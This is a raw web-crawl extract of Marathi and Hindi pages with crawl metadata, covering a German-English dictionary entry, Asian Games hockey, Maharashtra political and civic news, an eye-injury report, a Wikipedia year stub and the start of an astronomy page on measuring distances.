अनुवादक | कोबिल्ड ग्रामर पैटर्न | स्क्रैबल | वेबदैनिकी\n| साइन अप करें | लॉग इन करें मुख्य-पृष्ठ पर जाएं\nअंग्रेज़ी अंग्रेजी कोश अंग्रेजी शब्द सूची अमेरिकी पर्यायकोश ग्रामर आराम से सीखना Easy Learning Spanish Easy Learning French Easy Learning German Easy Learning Italian अंग्रेजी - फ्रेंच फ्रेंच - अंग्रेज़ी अंग्रेजी - जर्मन जर्मन - अंग्रेज़ी अंग्रेजी - स्पेनिश स्पेनिश - अंग्रेज़ी अंग्रेजी - इतालवी इतालवी - अंग्रेज़ी अंग्रेजी - चीनी चीनी - अंग्रेज़ी अंग्रेज़ी - पुर्तगाली पुर्तगाली - अंग्रेज़ी अंग्रेजी - हिन्दी हिंदी - अंग्रेजी\nजर्मन से अंग्रेज़ी शब्दकोश वीडियो पर्यायकोश School अनुवादक व्याकरण स्क्रैबल वेबदैनिकी\nसाइन अप करें लॉग इन करें मुख्य-पृष्ठ पर जाएं\nentgegensetzen का अंग्रेजी अनुवाद\nक्रिया टेबल सकर्मक क्रिया + dative separable\nउदाहरण वाक्य जिनमे entgegensetzenशामिल है\nये उदाहरण स्वचालित रूप से चुने गए हैं और इसमें संवेदनशील सामग्री हो सकती है अधिक पढ़ें…\nआम तौर पर इस्तेमाल होने वाला entgegensetzen कोलिन्स शब्दकोश के 10000 सबसे अधिक इस्तेमाल होने वाले शब्दों में से एक है\nउपयोग देखें: शुरूआत के बाद से अंतिम १० साल अंतिम ५० साल अंतिम १०० साल अंतिम ३०० साल\nentgegensetzen के आस-पास के शब्द\n'E' से शुरू होने वाले सभी जर्मन शब्द\n'entgegensetzen' से संबंधित सभी शब्द\nसे entgegensetzen का अनुवाद से जर्मन से अंग्रेज़ी शब्दकोश की परिभाषा\n'The slash ( / )' के बारे में अधिक पढ़ें\nspicedrop सितंबर २१, २०१८\nultradian सितंबर २१, २०१८\ngoader सितंबर २०, २०१८\nfarter सितंबर २०, २०१८\nप्रस्तुत करें और अधिक देखें\nजर्मन-अंग्रेज़ी शब्दकोश को ब्राउज़ करें\nसभी शब्दकोशों को देखें ...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00296.warc.wet.gz", "language": "mr", "language_score": 0.53, "bucket": "all"} {"url": "http://www.esakal.com/krida-hockey/indias-first-ever-17-goal-138839", "date_download": "2018-09-25T17:29:11Z", "digest": "sha1:L6QRZX2LM2UPQTO3V66FEF7LTBBI2NJD", "length": 14009, "nlines": 180, "source_domain": "www.esakal.com", "title": "India's first ever 17-goal भारताचा सलामीलाच विक्रमी 17 गोलचा धडाका | eSakal", "raw_content": "\nभारताचा सलामीलाच विक्रमी 17 गोलचा धडाका\nमंगळवार, 21 ऑगस्ट 2018\nजकार्ता : भारतीय पुरुष हॉकी संघाचे मार्गदर्शक हरेंदर सिंग हे सहा गोलची आघाडी असेल तर ती आठ गोलची करा, असेच सांगत असतात. नेमके हेच भारतीय संघाने आशियाई क्रीडा हॉकी स्पर्धेतील इंडोनेशियाविरुद्धच्या लढतीत केले. स्पर्धा इतिहासातील आपला सर्वात मोठा विजय मिळवताना त्यांनी इंडोनेशियाला 17-0 असे हरवले.\nजकार्ता : भारतीय पुरुष हॉकी संघाचे मार्गदर्शक हरेंदर सिंग हे सहा गोलची आघाडी असेल तर ती आठ गोलची करा, असेच सांगत असतात. नेमके हेच भारतीय संघाने आशियाई क्रीडा हॉकी स्पर्धेतील इंडोनेशियाविरुद्धच्या लढतीत केले. स्पर्धा इतिहासातील आपला सर्वात मोठा विजय मिळवताना त्यांनी इंडोनेशियाला 17-0 असे हरवले.\nभारतीयांचे वर्चस्व एकतर्फी होते. शूअर्ड मरिन यांच्यापेक्षा हरेंदर खूपच सरस असल्याचे दाखवणारे होते. मरिन यांच्या मार्गदर्शनाखालील महिला संघाने ताकद राखून ठेवण्याकडे लक्ष दिले; तर हरेंदर यांच्या संघाने विश्रांती घेतली नाही. त्यांनी आपणच संभाव्य विजेते आहोत, कोणालाही दयामाया दाखवणार नाही, असाच खेळ केला. इंडोनेशियाला मैदानी गोलची एकच संधी लाभली, त्यावरही ते गोल करू शकले नाहीत; पण ही बाब सोडल्यास भारताचेच निर्विवाद वर्चस्व होते.\nभारताचा आशियाई क्रीडा स्पर्धा इतिहासातील सर्वात मोठा 13-0 विजय बांगलादेशविरुद्धचा आहे. त्यास सहज मागे टाकले. त्याहीपेक्षा हरेंदर यांना आपले आक्रमणातील यश सुखावत असेल. एकंदर 40 शॉट्‌सवरील 17 गोल, अर्थात 43 टक्के यशस्विता नक्कीच चांगली आहे. मैदानी गोलचे 28 पैकी 10 प्रयत्न यशस्वी झाले, तर 11 पैकी सहा पेनल्टी कॉर्नर सत्कारणी लागले. त्याचबरोबर पेनल्टी स्ट्रोकवरही एक गोल झाला. त्याचबरोबर रूपिंदर पाल सिंग, ललित उपाध्याय, हरमनप्रीत सिंग, विवेक प्रसाद, एस. व्ही. सुनील, आकाशदीप सिंग, मनदीप सिंग, सिमरनजित सिंग, दिलप्रीत सिंग, अमित रोहिदास या एकंदर 10 खेळाडूंनी गोल केले, ही बाबही मोलाची आहे. त्यातही मनदीप, सिमरनजित आणि दिलप्रीतने प्रत्येकी तीन गोल केले, तर रूपिंदरने दोन. भारतास मात्र याचवेळी पाकिस्तानचा सर्वाधिक मोठ्या विजयाचा विक्रम मोडू शकलो नाही, हे सलत असेल.\nआशियाई क्रीडा हॉकी स्पर्धेतील सर्वांत मोठ्या विजयाची बरोबरी भारताने साधली. पाकिस्तानने 1978 च्या स्पर्धेत बांगलादेशला 17-0 असे हरवले होते; पण भारतास याची बरोबरीच करता आली; असे हॉकी सांख्यिकीतज्ज्ञ बी. जी. जोशी यांनी सांगितले. भारताने यापूर्वी दोनदा 12-0 विजय मिळविला आहे, पहिल्यांदा 1974 च्या स्पर्धेत इराणविरुद्ध, तर 1982 च्या स्पर्धेत बांगलादेशविरुद्ध. हा विक्रम मात्र मोडीत निघाला.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nधमकीचा निरोप खुनाचा वाटून धावाधाव\nसंगमेश्वर - खुनाचा गुन्हा दाखल असलेल्या एकाने भावाला तुझे दोन्ही पाय तोडून जंगलात टाकतो, अशी धमकी दिली. घाबरलेल्या त्याच्या पत्नीने आपल्या...\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\nनाशिक - पत्नीच्या खूनप्रकरणी पतीला जन्मठेप\nनाशिक - धामणगाव (ता. इगतपुरी) येथे दारुसाठी पैस न दिल्याच्या रागातून लाकडी दांडक्‍याने पत्नीचा खून करून, तिचा मृतदेह जमिनीत पुरून पुरावा नष्ट...\nमहाविद्यालयीन विद्यार्थिनीचा संशयास्पद मृत्यू\nसोलापूर : उत्तर सोलापूर तालुक्‍यातील अकोलेकाटी ते मार्डी रस्त्यावरील कारंबा परिसरात तीस वर्षीय तरुणीची मृतदेह संशयास्पद अवस्थेत सापडला आहे. संयुक्ता...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00297.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Jalna/Financial-institutions-have-contributed-in-the-progress-of-the-state/", "date_download": "2018-09-25T16:57:03Z", "digest": "sha1:RJZOYMW6MH7LSRSQO32PL7EGOXLAW5BP", "length": 6118, "nlines": 37, "source_domain": "www.pudhari.news", "title": " राज्याच्या प्रगतीत वित्त संस्थांचा मोलाचा वाटा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Jalna › राज्याच्या प्रगतीत वित्त संस्थांचा मोलाचा वाटा\nराज्याच्या प्रगतीत वित्त संस्थांचा मोलाचा वाटा\nमहाराष्ट्र राज्याच्या प्रगतीत वित्तीय संस्थांचा मोलाचा वाटा असून, नागरिकांच्या आर्थिक गरजा पूर्ण करण्यासाठी वित्तीय संस्था महत्त्वाची भूमिका बजावतात, असे प्रतिपादन मुख्यमंत्री देवेंद्र फडणवीस यांनी केले.\nदेवगिरी नागरी सहकारी पतसंस्थेच्या नवीन इमारतीचे उद्घाटन कार्यक्रमाप्रसंगी ते बोलत होते. यावेळी पालकमंत्री बबनराव लोणीकर, राज्यमंत्री अर्जुन खोतकर, खासदार रावसाहेब दानवे, नगराध्यक्षा संगीता गोरंट्याल, आमदार नारायण कुचे, संतोष दानवे, विभागीय आयुक्त डॉ. पुरुषोत्तम भापकर आदी उपस्थित होते.\nमुख्यमंत्री फडणवीस म्हणाले की, महाराष्ट्रात सहकार क्षेत्र तळागाळापर्यंत पोहचल्यामुळे वित्तीय संस्थांचे जाळे तयार झाले आहे. राज्याचा सर्वसमावेशक विकास हा वित्तीय संस्थांच्या माध्यमातून होत आहे. जनधन योजनेच्या माध्यमातून देशातील 32 कोटी लोकांना थेट लाभ मिळाला असून, नागरिकांच्या खात्यावर विविध योजना आणि अनुदानाच्या रक्कमा थेट जमा होत आहे. हे वित्तीय संस्थांच्या सहभागामुळेच शक्य झाले आहे. तसेच वित्तीय संस्थांकडून नागरिकांना चांगली वागणूक मिळत असल्याने वित्तीय व्यवहारात पारदर्शकता आणि जनेतमध्ये वित्तीय संस्थांबाबत विश्‍वासार्हता निर्माण झाली आहे. विश्‍वस्त व्यवस्थेतून जे विधायक काम होते ते राज्याला प्रगतीच्या दिशेने नेण्यास निश्‍चितच मदत करीत आहे, असेही मुख्यमंत्री फडणवीस यांनी यावेळी सांगितले.\nयावेळी फडणवीस यांनी पतसंस्थेची पाहणी करुन संचालक मंडळाशी चर्चा करून पतसंस्थेच्या पुढील वाटचालीस शुभेच्छा दिल्या. यावेळी बँकेचे संचालक तथा भाजप पदाधिकारी व कार्यकर्ते आदींची उपस्थिती होती.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00297.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Chief-Minister-is-responsible-for-the-present-situation/", "date_download": "2018-09-25T17:34:55Z", "digest": "sha1:EXPX72KDCJVXSN5QNLWCFS4W2JRYN7XK", "length": 6307, "nlines": 37, "source_domain": "www.pudhari.news", "title": " सध्याच्या परिस्थितीला मुख्यमंत्रीच जबाबदार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › सध्याच्या परिस्थितीला मुख्यमंत्रीच जबाबदार\nसध्याच्या परिस्थितीला मुख्यमंत्रीच जबाबदार\nसत्तेवर आल्यानंतर एका महिन्यात मराठा आणि धनगर समाजास आरक्षण देऊ, अशी घोषणा मुख्यमंत्री देवेंद्र फडणवीस यांनी केली होती; मात्र अद्याप काहीच झालेले नाही. त्यामुळे या मुद्द्यांवरून दोन्ही समाज नाराज झाले आहेत. त्यामुळे राज्यात निर्माण झालेल्या परिस्थितीला मुख्यमंत्री स्वतःच जबाबदार आहेत, अशी टीका मध्य प्रदेशचे माजी मुख्यमंत्री व काँग्रेसचे ज्येष्ठ नेते दिग्विजय सिंह यांनी केली आहे. खरे तर आषाढी एकादशीनिमित्त मुख्यमंत्र्यांनी विठ्ठलाच्या पूजेसाठी जाणे गरजेचे होते. त्यांच्या मनामध्ये खरोखरच विठ्ठलाविषयी भाव, श्रद्धा असती, तर ते पंढरपूरला गेले असते. विठ्ठलाच्या पूजेसाठी भाजपचे मंत्रीही हजर राहिले नाहीत. भाजप नेते का घाबरत आहेत कळत नाही, असा टोलाही सिंह यांनी लगावला.\nदिग्विजय सिंह यांनी दरवर्षीप्रमाणे सोमवारी पंढरपूर येथे विठ्ठल-रुक्मिणीचे दर्शन घेतले. त्यानंतर त्यांनी पुण्यातील काँग्रेस भवनमध्ये पत्रकार परिषद ते बोलत होते. या वेळी शहराध्यक्ष रमेश बागवे, माजी आमदार मोहन जोशी, अ‍ॅड. अभय छाजेड, नगरसेवक अजित दरेकर, नगरसेविका वैशाली मराठे यांच्यासह काँग्रेसचे पदाधिकारी उपस्थित होते.ते म्हणाले, केंद्रातील मंत्र्यांनाही बोलण्याची मुभा नाही. ना खाऊंगा ना खाने दुंगा, म्हणणारे मोदी राफेल विमान खरेदीबाबत माहिती देण्यास तयार नाहीत. त्यामुळे मोदींचा खरा चेहरा उघड झाला आहे.\nम्हणून अविश्‍वास प्रस्ताव आणला\nभाजपप्रणीत मोदी सरकारला 4 वर्षे पूर्ण झाले आहेत. एनडीएतील घटक पक्ष, या सर्व पार्श्वभूमीवर आमच्याकडे संख्याबळ नाही, हे आम्हाला माहिती होते, तरीही आम्ही सरकारविरोधात अविश्वास प्रस्ताव दाखल केला. अविश्वास ठराव हा संसदीय कार्यपद्धतीचा एक भाग आहे, असेही दिग्विजय सिंह म्हणाले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00297.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Due-to-the-colorful-balloon-the-young-eye-became-blind/", "date_download": "2018-09-25T16:56:46Z", "digest": "sha1:MBYLMGFJTGS5DCXVDPY4N34YZRXBB7HQ", "length": 7807, "nlines": 37, "source_domain": "www.pudhari.news", "title": " रंगाचा फुगा लागल्याने तरुणाचा डोळा झाला अधू | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › रंगाचा फुगा लागल्याने तरुणाचा डोळा झाला अधू\nरंगाचा फुगा लागल्याने तरुणाचा डोळा झाला अधू\nधुलिवंदन व रंगपंचमीला रंग जपून खेळणे आवश्यक आहे. कारण धुलिवंदनच्या दिवशी भोसरी ‘एमआयडीसी’मध्ये कामावर जाणार्‍या एका 31 वर्षीय तरुणाच्या डोळ्यावर रंगाने भरलेला फुगा जोरात येऊन आदळला. जोराचा आघात झाल्याने डोळ्याच्या पडद्याला छिद्र पडले होते आणि नेत्रपटलही सरकले होते. त्याला दिसेनासे झाले पण त्यावर तातडीने बिन टाक्याची रेटिनाची शस्त्रक्रिया केल्याने त्याच्या दृष्टीत सुधारणा होऊ लागली आहे.\nसंतोष गुरव, वय 31, रा. भोसरी असे त्या तरुणाचे नाव आहे. संतोष दोन मार्चला सकाळी सायकलने कामावर जात होता. वाटेत काही मुले रंग खेळत होती. त्यामुळे मुलांनी त्याला रंग लावण्याचा प्रयत्न केला. सायकलवरून तो खाली उतरल्यानंतर काही जण रंग लावत होते. त्यावेळी अचानक कोठून तरी पाण्याने भरलेला फुगा त्याच्या उजव्या डोळ्यावर आपटला. त्यात त्याचा चष्मा फुटला. डोळे दुखायला लागले. त्यानंतर तो घरी पोहोचला, पण त्याला काहीच दिसत नसल्याचे लक्षात आले.\nत्याच्या कुटुंबीयांनी त्याला घोले रोडच्या राष्ट्रीय नेत्रचिकित्सा संस्थेतील (एनआयओ) हॉस्पिटलमध्ये आणले. त्याच्या डोळ्यांची तपासणी करण्यात आली. त्यावेळी त्याच्या डोळ्याच्या पडद्याला छिद्र पडलेले तसेच नेत्रपटल सरकल्याचे निदान झाले. त्यामुळे त्याची दृष्टी अधू झाली होती. त्याच्यावर नेत्रतज्ज्ञ डॉ. आदित्य केळकर व डॉ. अक्षय कोठारी यांनी रेटिनाची बिनटाक्याची शस्त्रक्रिया केली. डॉक्टरांनी डोळ्याच्या आतील बाजूतील जेली कटरच्या सहाय्याने काढून नंतर सिलिकॉन ऑईलचा वापर करून पडदा चिकटविला. त्याला आता पुन्हा थोड्याफार प्रमाणात दृष्टी येण्यास सुरुवात झाली आहे. सहा महिन्यांत त्याला वारंवार तपासणी करण्याचा सल्ला दिला आहे. सहा महिन्यांत त्या तरुणाची दृष्टी सुधारू शकेल, असा विश्वास डॉ. आदित्य केळकर यांनी व्यक्त केला. या शस्त्रक्रियेसाठी रुग्णाला पन्नास हजार रुपये खर्च आला असून आणखी काही महिन्यांनी तितकाच खर्च येणार आहे.\nपडदे सरकण्याचे रोज दोन रुग्ण\nपडदा सरकण्याची अनेक कारणे आहेत. त्यामध्ये डोळ्याला मार लागणे, कमी नंबरचा असल्याने आणि अनुवांशिकतेमुळेही डोळ्याचे पडदे सरकू शकतात. या रुग्णाला पाण्याचा फु गा जोरात उजव्या डोळ्याला लागल्याने त्या दाबामुळे त्याचा पडदा सरकला होता. पडदा सरकल्याचे दिवसाला एक-दोन रुग्ण येतात, रंग खेळताना फुगा फेकू न मारू नये, त्यामुळे पुढे मोतीबिंदू, काचबिंदू होण्याची शक्यता असते. - डॉ. आदित्य केळकर, नेत्रतज्ज्ञ\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00297.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/The-fear-of-being-nailed-to-the-development-of-the-city/", "date_download": "2018-09-25T16:56:48Z", "digest": "sha1:NOQI5PQMPJMMKZDVKAHCDC6HQKXTBLKK", "length": 9775, "nlines": 38, "source_domain": "www.pudhari.news", "title": " तर शहराच्या विकासाला खिळ बसण्याची भिती | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › तर शहराच्या विकासाला खिळ बसण्याची भिती\nतर शहराच्या विकासाला खिळ बसण्याची भिती\nपुणे : पांडुरंग सांडभोर\nलोहगाव आणि राष्ट्रीय संरक्षण प्रबोधनी (एनडीए) यांच्या विमानतळ परिसरातील बांधकामांच्या उंचीवर संरक्षण विभागाने आता नव्याने काही निर्बंध घातले आहेत. त्याची अंमलबजावणी महापालिका प्रशासनाने सुरू केली आहे. नव्या नियमांनी शहरातील इमारतींच्या उंचीवरच बंधने आली आहेत. त्याचबरोबर बांधकाम परवानगीची प्रकियाही किचकट बनली आहे. त्याचा थेट परिणाम शहराच्या विकासाला खिळ बसण्यास होण्याची शक्यता आहे. अद्यापतरी सत्ताधारी आणि प्रशासनाने याकडे फारसे गांभीर्याने पाहिलेले नाही. मात्र, आगामी काळात याचे परिणाम नक्कीच दिसून येतील.\nविमानतळांच्या सुरक्षिततेच्या दृष्टीने नव्याने निर्बंध घातले आहेत. खरतर हे निबर्र्ंध संरक्षण विभागाने सन 1967 रोजी घातले आहेत. त्यानुसार लोहगाव विमानतळाच्या भागात नऊशे मीटर परिसरातील बांधकामासाठी लष्कराचे ना हरकत प्रमाणपत्र (एनओसी) घेणे बंधनकारक होते. मात्र, त्याची प्रभावी अंमलबजावणी झालेली दिसत नाही. आजही या विमानतळाच्या परिसरात मोठ्या बांधकाम व्यावसायिकांनी टोलेजंगी इमारती बांधल्या आहेत. मोठ्या प्रमाणात अनधिकृत बांधकामे आहेत. मात्र, त्याकडे सोईस्कर दुर्लक्ष केले गेले. त्यामुळे सुरक्षिततेचा प्रश्‍न उभा राहिला आहे. याबाबत न्यायालयापर्यंत तक्रारी गेल्यानंतर न्यायालयाने कान टोचले.\nत्यामुळे संबधित यंत्रणांना जाग आली आहे. आता संरक्षण विभागानेच काही नव्याने निर्बंध घातले आहेत. त्यानुसार या दोन्ही विमानतळांच्या धावपट्टीच्या परिघात येणार्‍या वर्तुळाकार बाजुंनी 6 किमीं परिसरातील प्रत्येक बांधकामासाठी संरक्षण विभागाची एनओसी घेणे बंधनकारक करण्यात आले. महापालिकेकडे बांधकाम परवानगीसाठी प्रस्ताव दाखल करताना त्याबरोबर ही एनओसी जोडणे आवश्यक आहे, तरच संबधित बांधकामाला पालिका परवानगी देऊ शकणार आहे. मात्र, ही एनओसीची प्रकिया अत्यंत किचकट अशी आहे. ही सगळी प्रक्रिया वेळखाऊ आणि खर्चिक आहे. धक्कादायक बाब म्हणजे संबधित बांधकामांच्या उंचीबाबत भारतीय सर्व्हेक्षण विभागाचे प्रमाणपत्र बंधनकारक आहे. पुण्यात या विभागाचे एकच कार्यालय आहे. या कार्यालयाकडे आत्ताच केवळ दोनशे प्रस्ताव आल्याने या कार्यालयाचे कामकाज ठप्प झाले आहे.\nयासर्व प्रकियेचे मोठे दुष्पपरिणाम म्हणजे थेट शहराच्या प्रगतीलाच खो बसण्याची शक्यता आहे. एकिकडे आपण विकसीत देशातील मोठ्या शहरांमध्ये गंगनचुंबी इमारती पाहतो. दुसरीकडे आपल्या शहरात मात्र इमारतीच्या उंचीवरच जर बंधने आली तर शहराची प्रगती खुंटणार आहे. महापालिकेकडून मेट्रो, बीआरटी अशा मार्गावर बांधकामांसाठी चार एफएसआय प्रस्तावित केला जात आहे, त्यातून या प्रकल्पांसाठी निधी उभारण्याचे नियोजन आहे. मात्र, जर इमारतींच्या उंचीवरच बंधने आली तर हा एफएसआय कसा वापरायचा असाही प्रश्‍न उभा राहणार आहे.\nसंरक्षण विभागाच्या आदेशानुसार महापालिकेने या निर्णयाची अंमलबजावणी केली आहे. आता त्याचे परिणाम काही प्रमाणात जाणवू लागले आहेत. मात्र, या निर्बंधात कशी शिथिलता आणता येईल आणि नागरिकांना कसा दिलासा मिळेल यासाठी ठोस पाऊले उचलली गेलेली नाहीत. सत्ताधारी तर याबाबत पुर्णपणे निद्रिस्त दिसून येत आहेत. मात्र, असे हातावर हात ठेवून बसणे या शहराला परवडणारे नाही. त्यामुळे यावर तातडीने तोडगा काढण्याची गरज आहे. अन्यथा लवकरच काय ते परिणाम दिसतील आणि त्याला तोंड द्यावे लागेल.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00297.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%87.%E0%A4%B8._%E0%A5%A8%E0%A5%AE%E0%A5%A9", "date_download": "2018-09-25T16:55:50Z", "digest": "sha1:A7FLIX6E6I3HVBJQNGSCGGAO7YD4FPCH", "length": 5604, "nlines": 200, "source_domain": "mr.wikipedia.org", "title": "इ.स. २८३ - विकिपीडिया", "raw_content": "\nसहस्रके: इ.स.चे १ ले सहस्रक\nशतके: २ रे शतक - ३ रे शतक - ४ थे शतक\nदशके: २६० चे - २७० चे - २८० चे - २९० चे - ३०० चे\nवर्षे: २८० - २८१ - २८२ - २८३ - २८४ - २८५ - २८६\nवर्ग: जन्म - मृत्यू - खेळ - निर्मिती - समाप्ती\n१ महत्त्वाच्या घटना आणि घडामोडी\nमहत्त्वाच्या घटना आणि घडामोडी[संपादन]\nडिसेंबर ७ - पोप युटिचीयन.\nइ.स.च्या २८० च्या दशकातील वर्षे\nइ.स.च्या ३ र्‍या शतकातील वर्षे\nइ.स.च्या १ ल्या सहस्रकातील वर्षे\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल १४ सप्टेंबर २०१४ रोजी ०८:२७ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00297.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "http://avakashvedh.com/adhikmahiti/distance_measure_types.html", "date_download": "2018-09-25T16:34:27Z", "digest": "sha1:PIYGB3Y4E4PA5APC5AQJAF34TFC7XPU6", "length": 13878, "nlines": 141, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलीय अंतरे मोजण्याच्या पद्धती\nपृथ्वीवर एखाद्या गोष्टीची लांबी-रुंदी अथवा आकार मोजण्यासाठी आपण तीच्या आकारानुसार मोजण्याची पद्धत वापरतो. जसे साधारणपणे लहान वस्तू मोजण्यासाठी मिलीमिटर, सेंटीमिटर, इंच, फूट पासून ते पूढे मीटर व किलोमीटर अशी मोजण्याची साधने आपण वापरतो. पृथ्वीवरील एखादी वस्तू मोजण्यासाठी एका ठिकाणाहून दुसर्‍या 